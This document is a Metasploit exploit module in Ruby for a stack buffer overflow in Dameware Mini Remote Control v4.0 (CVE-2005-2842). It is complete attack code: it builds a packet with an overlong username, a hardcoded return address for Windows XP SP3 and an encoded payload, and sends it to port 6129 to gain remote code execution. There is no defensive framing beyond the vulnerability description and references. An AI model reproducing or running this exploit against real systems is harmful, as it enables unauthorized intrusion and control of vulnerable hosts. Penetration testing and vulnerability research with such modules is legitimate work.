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112 | require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Dameware Mini Remote Control Username Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow vulnerability found
in Dameware Mini Remote Control v4.0. The overflow is caused when sending
an overly long username to the DWRCS executable listening on port 6129.
The username is read into a strcpy() function causing an overwrite of
the return pointer leading to arbitrary code execution.
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2005-2842' ],
[ 'BID', '14707' ],
[ 'URL', 'http://secunia.com/advisories/16655' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 140,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'Compat' =>
{
'SymbolLookup' => '+ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
# msvcrt.dll
# push esp/ retn
'Ret' => 0x77c35459,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sept 01 2005'))
register_options(
[
Opt::RPORT(6129),
], self.class )
end
def pkt1
p = payload.encoded
boom = "\x43" * 259
boom[100, 4] = [target.ret].pack('V')
boom[108, p.length] = p
packet = "\x00" * 4056
packet[0, 4] = "\x30\x11\x00\x00"
packet[4, 4] = "\x00\x00\x00\x00"
packet[8, 4] = "\xd7\xa3\x70\x3d"
packet[12, 4] = "\x0a\xd7\x0d\x40"
packet[16, 20] = "\x00" * 20
packet[36, 4] = "\x01\x00\x00\x00"
packet[40, 4] = [0x00002710].pack('V')
packet[196, 259] = rand_text_alpha(259)
packet[456, 259] = boom
packet[716, 259] = rand_text_alpha(259)
packet[976, 259] = rand_text_alpha(259)
packet[1236, 259] = rand_text_alpha(259)
packet[1496, 259] = rand_text_alpha(259)
return packet
end
def pkt2
packet = "\x00" * 4096
packet[756, 259] = rand_text_alpha(259)
return packet
end
def exploit
connect
sock.put(pkt1)
sock.recv(1024)
sock.put(pkt2)
sock.recv(84)
handler
disconnect
end
end
__END__
|
